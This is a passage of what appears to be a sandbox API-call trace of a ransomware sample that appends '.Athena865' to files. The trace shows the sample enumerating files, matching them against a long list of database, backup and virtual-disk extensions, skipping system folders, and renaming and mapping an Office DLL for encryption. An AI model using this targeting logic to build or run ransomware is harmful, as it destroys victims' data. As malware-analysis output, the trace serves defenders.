[0075.157] lstrlenW (lpString="pan") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0075.157] lstrlenW (lpString="pdb") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0075.157] lstrlenW (lpString="pdm") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0075.157] lstrlenW (lpString="pnz") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0075.157] lstrlenW (lpString="qry") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0075.157] lstrlenW (lpString="qvd") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0075.157] lstrlenW (lpString="rbf") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0075.157] lstrlenW (lpString="rctd") returned 4 [0075.157] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0075.157] lstrlenW (lpString="rod") returned 3 [0075.157] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0075.157] lstrlenW (lpString="rodx") returned 4 [0075.157] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0075.158] lstrlenW (lpString="rpd") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0075.158] lstrlenW (lpString="rsd") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0075.158] lstrlenW (lpString="sas7bdat") returned 8 [0075.158] lstrcmpiW (lpString1="roxy.dll", lpString2="sas7bdat") returned -1 [0075.158] lstrlenW (lpString="sbf") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0075.158] lstrlenW (lpString="scx") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0075.158] lstrlenW (lpString="sdb") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0075.158] lstrlenW (lpString="sdc") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0075.158] lstrlenW (lpString="sdf") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0075.158] lstrlenW (lpString="sis") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0075.158] lstrlenW (lpString="spq") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0075.158] lstrlenW (lpString="te") returned 2 [0075.158] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0075.158] lstrlenW (lpString="teacher") returned 7 [0075.158] lstrcmpiW (lpString1="oxy.dll", lpString2="teacher") returned -1 [0075.158] lstrlenW (lpString="tmd") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0075.158] lstrlenW (lpString="tps") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0075.158] lstrlenW (lpString="trc") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0075.158] lstrlenW (lpString="trc") returned 3 [0075.158] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0075.159] lstrlenW (lpString="trm") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0075.159] lstrlenW (lpString="udb") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0075.159] lstrlenW (lpString="udl") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0075.159] lstrlenW (lpString="usr") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0075.159] lstrlenW (lpString="v12") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0075.159] lstrlenW (lpString="vis") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0075.159] lstrlenW (lpString="vpd") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0075.159] lstrlenW (lpString="vvv") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0075.159] lstrlenW (lpString="wdb") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0075.159] lstrlenW (lpString="wmdb") returned 4 [0075.159] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0075.159] lstrlenW (lpString="wrk") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0075.159] lstrlenW (lpString="xdb") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0075.159] lstrlenW (lpString="xld") returned 3 [0075.159] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0075.159] lstrlenW (lpString="xmlff") returned 5 [0075.159] lstrcmpiW (lpString1="y.dll", lpString2="xmlff") returned 1 [0075.159] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.sharepoint.workflowactions.proxy.dll.Athena865") returned 99 [0075.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.sharepoint.workflowactions.proxy.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.workflowactions.proxy.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.sharepoint.workflowactions.proxy.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.workflowactions.proxy.dll.athena865"), dwFlags=0x1) returned 1 [0075.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\microsoft.sharepoint.workflowactions.proxy.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.workflowactions.proxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0075.161] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=477024) returned 1 [0075.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0075.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0075.161] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0075.161] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0075.162] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0075.162] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.162] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x74a60, lpName=0x0) returned 0x17c [0075.166] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x74a60) returned 0x2d50000 [0075.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0075.201] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0075.201] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0075.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.201] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.201] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.202] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0075.206] CloseHandle (hObject=0x17c) returned 1 [0075.206] CloseHandle (hObject=0x154) returned 1 [0075.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.208] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x69c26830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x84760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MIMEDIR.DLL", cAlternateFileName="")) returned 1 [0075.208] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.208] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.208] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".") returned 1 [0075.208] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="..") returned 1 [0075.208] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="windows") returned -1 [0075.208] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="bootmgr") returned 1 [0075.208] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="temp") returned -1 [0075.208] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="pagefile.sys") returned -1 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="boot") returned 1 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="ids.txt") returned 1 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="ntuser.dat") returned -1 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="perflogs") returned -1 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2="MSBuild") returned -1 [0075.209] lstrlenW (lpString="MIMEDIR.DLL") returned 11 [0075.209] lstrcpyW (in: lpString1=0x241e89e, lpString2="MIMEDIR.DLL" | out: lpString1="MIMEDIR.DLL") returned="MIMEDIR.DLL" [0075.209] lstrlenW (lpString="MIMEDIR.DLL") returned 11 [0075.209] lstrlenW (lpString="Athena865") returned 9 [0075.209] lstrcmpiW (lpString1="MEDIR.DLL", lpString2="Athena865") returned 1 [0075.209] lstrlenW (lpString=".dll") returned 4 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".dll") returned 1 [0075.209] lstrlenW (lpString=".lnk") returned 4 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".lnk") returned 1 [0075.209] lstrlenW (lpString=".ini") returned 4 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".ini") returned 1 [0075.209] lstrlenW (lpString=".sys") returned 4 [0075.209] lstrcmpiW (lpString1="MIMEDIR.DLL", lpString2=".sys") returned 1 [0075.209] lstrlenW (lpString="MIMEDIR.DLL") returned 11 [0075.209] lstrlenW (lpString="bak") returned 3 [0075.209] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0075.209] lstrlenW (lpString="ba_") returned 3 [0075.209] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0075.209] lstrlenW (lpString="dbb") returned 3 [0075.209] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0075.209] lstrlenW (lpString="vmdk") returned 4 [0075.209] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0075.209] lstrlenW (lpString="rar") returned 3 [0075.209] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0075.209] lstrlenW (lpString="zip") returned 3 [0075.209] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0075.210] lstrlenW (lpString="tgz") returned 3 [0075.210] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0075.210] lstrlenW (lpString="vbox") returned 4 [0075.210] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0075.210] lstrlenW (lpString="vdi") returned 3 [0075.210] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0075.210] lstrlenW (lpString="vhd") returned 3 [0075.210] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0075.210] lstrlenW (lpString="vhdx") returned 4 [0075.210] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0075.210] lstrlenW (lpString="avhd") returned 4 [0075.210] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0075.210] lstrlenW (lpString="db") returned 2 [0075.210] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0075.210] lstrlenW (lpString="db2") returned 3 [0075.210] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0075.210] lstrlenW (lpString="db3") returned 3 [0075.210] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0075.210] lstrlenW (lpString="dbf") returned 3 [0075.210] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0075.210] lstrlenW (lpString="mdf") returned 3 [0075.210] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0075.210] lstrlenW (lpString="mdb") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0075.211] lstrlenW (lpString="sql") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0075.211] lstrlenW (lpString="sqlite") returned 6 [0075.211] lstrcmpiW (lpString1="IR.DLL", lpString2="sqlite") returned -1 [0075.211] lstrlenW (lpString="sqlite3") returned 7 [0075.211] lstrcmpiW (lpString1="DIR.DLL", lpString2="sqlite3") returned -1 [0075.211] lstrlenW (lpString="sqlitedb") returned 8 [0075.211] lstrcmpiW (lpString1="EDIR.DLL", lpString2="sqlitedb") returned -1 [0075.211] lstrlenW (lpString="xml") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0075.211] lstrlenW (lpString="$er") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0075.211] lstrlenW (lpString="4dd") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0075.211] lstrlenW (lpString="4dl") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0075.211] lstrlenW (lpString="^^^") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0075.211] lstrlenW (lpString="abs") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0075.211] lstrlenW (lpString="abx") returned 3 [0075.211] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0075.211] lstrlenW (lpString="accdb") returned 5 [0075.211] lstrcmpiW (lpString1="R.DLL", lpString2="accdb") returned 1 [0075.211] lstrlenW (lpString="accdc") returned 5 [0075.211] lstrcmpiW (lpString1="R.DLL", lpString2="accdc") returned 1 [0075.211] lstrlenW (lpString="accde") returned 5 [0075.211] lstrcmpiW (lpString1="R.DLL", lpString2="accde") returned 1 [0075.211] lstrlenW (lpString="accdr") returned 5 [0075.211] lstrcmpiW (lpString1="R.DLL", lpString2="accdr") returned 1 [0075.211] lstrlenW (lpString="accdt") returned 5 [0075.211] lstrcmpiW (lpString1="R.DLL", lpString2="accdt") returned 1 [0075.212] lstrlenW (lpString="accdw") returned 5 [0075.212] lstrcmpiW (lpString1="R.DLL", lpString2="accdw") returned 1 [0075.212] lstrlenW (lpString="accft") returned 5 [0075.212] lstrcmpiW (lpString1="R.DLL", lpString2="accft") returned 1 [0075.212] lstrlenW (lpString="adb") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0075.212] lstrlenW (lpString="adb") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0075.212] lstrlenW (lpString="ade") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0075.212] lstrlenW (lpString="adf") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0075.212] lstrlenW (lpString="adn") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0075.212] lstrlenW (lpString="adp") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0075.212] lstrlenW (lpString="alf") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0075.212] lstrlenW (lpString="ask") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0075.212] lstrlenW (lpString="btr") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0075.212] lstrlenW (lpString="cat") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0075.212] lstrlenW (lpString="cdb") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0075.212] lstrlenW (lpString="ckp") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0075.212] lstrlenW (lpString="cma") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0075.212] lstrlenW (lpString="cpd") returned 3 [0075.212] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0075.213] lstrlenW (lpString="dacpac") returned 6 [0075.213] lstrcmpiW (lpString1="IR.DLL", lpString2="dacpac") returned 1 [0075.213] lstrlenW (lpString="dad") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0075.213] lstrlenW (lpString="dadiagrams") returned 10 [0075.213] lstrcmpiW (lpString1="IMEDIR.DLL", lpString2="dadiagrams") returned 1 [0075.213] lstrlenW (lpString="daschema") returned 8 [0075.213] lstrcmpiW (lpString1="EDIR.DLL", lpString2="daschema") returned 1 [0075.213] lstrlenW (lpString="db-journal") returned 10 [0075.213] lstrcmpiW (lpString1="IMEDIR.DLL", lpString2="db-journal") returned 1 [0075.213] lstrlenW (lpString="db-shm") returned 6 [0075.213] lstrcmpiW (lpString1="IR.DLL", lpString2="db-shm") returned 1 [0075.213] lstrlenW (lpString="db-wal") returned 6 [0075.213] lstrcmpiW (lpString1="IR.DLL", lpString2="db-wal") returned 1 [0075.213] lstrlenW (lpString="dbc") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0075.213] lstrlenW (lpString="dbs") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0075.213] lstrlenW (lpString="dbt") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0075.213] lstrlenW (lpString="dbv") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0075.213] lstrlenW (lpString="dbx") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0075.213] lstrlenW (lpString="dcb") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0075.213] lstrlenW (lpString="dct") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0075.213] lstrlenW (lpString="dcx") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0075.213] lstrlenW (lpString="ddl") returned 3 [0075.213] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0075.213] lstrlenW (lpString="dlis") returned 4 [0075.213] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0075.214] lstrlenW (lpString="dp1") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0075.214] lstrlenW (lpString="dqy") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0075.214] lstrlenW (lpString="dsk") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0075.214] lstrlenW (lpString="dsn") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0075.214] lstrlenW (lpString="dtsx") returned 4 [0075.214] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0075.214] lstrlenW (lpString="dxl") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0075.214] lstrlenW (lpString="eco") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0075.214] lstrlenW (lpString="ecx") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0075.214] lstrlenW (lpString="edb") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0075.214] lstrlenW (lpString="epim") returned 4 [0075.214] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0075.214] lstrlenW (lpString="fcd") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0075.214] lstrlenW (lpString="fdb") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0075.214] lstrlenW (lpString="fic") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0075.214] lstrlenW (lpString="flexolibrary") returned 12 [0075.214] lstrlenW (lpString="fm5") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0075.214] lstrlenW (lpString="fmp") returned 3 [0075.214] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0075.214] lstrlenW (lpString="fmp12") returned 5 [0075.215] lstrcmpiW (lpString1="R.DLL", lpString2="fmp12") returned 1 [0075.215] lstrlenW (lpString="fmpsl") returned 5 [0075.215] lstrcmpiW (lpString1="R.DLL", lpString2="fmpsl") returned 1 [0075.215] lstrlenW (lpString="fol") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0075.215] lstrlenW (lpString="fp3") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0075.215] lstrlenW (lpString="fp4") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0075.215] lstrlenW (lpString="fp5") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0075.215] lstrlenW (lpString="fp7") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0075.215] lstrlenW (lpString="fpt") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0075.215] lstrlenW (lpString="frm") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0075.215] lstrlenW (lpString="gdb") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0075.215] lstrlenW (lpString="gdb") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0075.215] lstrlenW (lpString="grdb") returned 4 [0075.215] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0075.215] lstrlenW (lpString="gwi") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0075.215] lstrlenW (lpString="hdb") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0075.215] lstrlenW (lpString="his") returned 3 [0075.215] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0075.215] lstrlenW (lpString="ib") returned 2 [0075.215] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0075.215] lstrlenW (lpString="idb") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0075.216] lstrlenW (lpString="ihx") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0075.216] lstrlenW (lpString="itdb") returned 4 [0075.216] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0075.216] lstrlenW (lpString="itw") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0075.216] lstrlenW (lpString="jet") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0075.216] lstrlenW (lpString="jtx") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0075.216] lstrlenW (lpString="kdb") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0075.216] lstrlenW (lpString="kexi") returned 4 [0075.216] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0075.216] lstrlenW (lpString="kexic") returned 5 [0075.216] lstrcmpiW (lpString1="R.DLL", lpString2="kexic") returned 1 [0075.216] lstrlenW (lpString="kexis") returned 5 [0075.216] lstrcmpiW (lpString1="R.DLL", lpString2="kexis") returned 1 [0075.216] lstrlenW (lpString="lgc") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0075.216] lstrlenW (lpString="lwx") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0075.216] lstrlenW (lpString="maf") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0075.216] lstrlenW (lpString="maq") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0075.216] lstrlenW (lpString="mar") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0075.216] lstrlenW (lpString="marshal") returned 7 [0075.216] lstrcmpiW (lpString1="DIR.DLL", lpString2="marshal") returned -1 [0075.216] lstrlenW (lpString="mas") returned 3 [0075.216] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0075.217] lstrlenW (lpString="mav") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0075.217] lstrlenW (lpString="maw") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0075.217] lstrlenW (lpString="mdbhtml") returned 7 [0075.217] lstrcmpiW (lpString1="DIR.DLL", lpString2="mdbhtml") returned -1 [0075.217] lstrlenW (lpString="mdn") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0075.217] lstrlenW (lpString="mdt") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0075.217] lstrlenW (lpString="mfd") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0075.217] lstrlenW (lpString="mpd") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0075.217] lstrlenW (lpString="mrg") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0075.217] lstrlenW (lpString="mud") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0075.217] lstrlenW (lpString="mwb") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0075.217] lstrlenW (lpString="myd") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0075.217] lstrlenW (lpString="ndf") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0075.217] lstrlenW (lpString="nnt") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0075.217] lstrlenW (lpString="nrmlib") returned 6 [0075.217] lstrcmpiW (lpString1="IR.DLL", lpString2="nrmlib") returned -1 [0075.217] lstrlenW (lpString="ns2") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0075.217] lstrlenW (lpString="ns3") returned 3 [0075.217] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0075.218] lstrlenW (lpString="ns4") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0075.218] lstrlenW (lpString="nsf") returned 3 [0075.218] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0075.218] lstrlenW (lpString="nv") returned 2 [0075.218] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0075.218] lstrlenW (lpString="nv2") returned 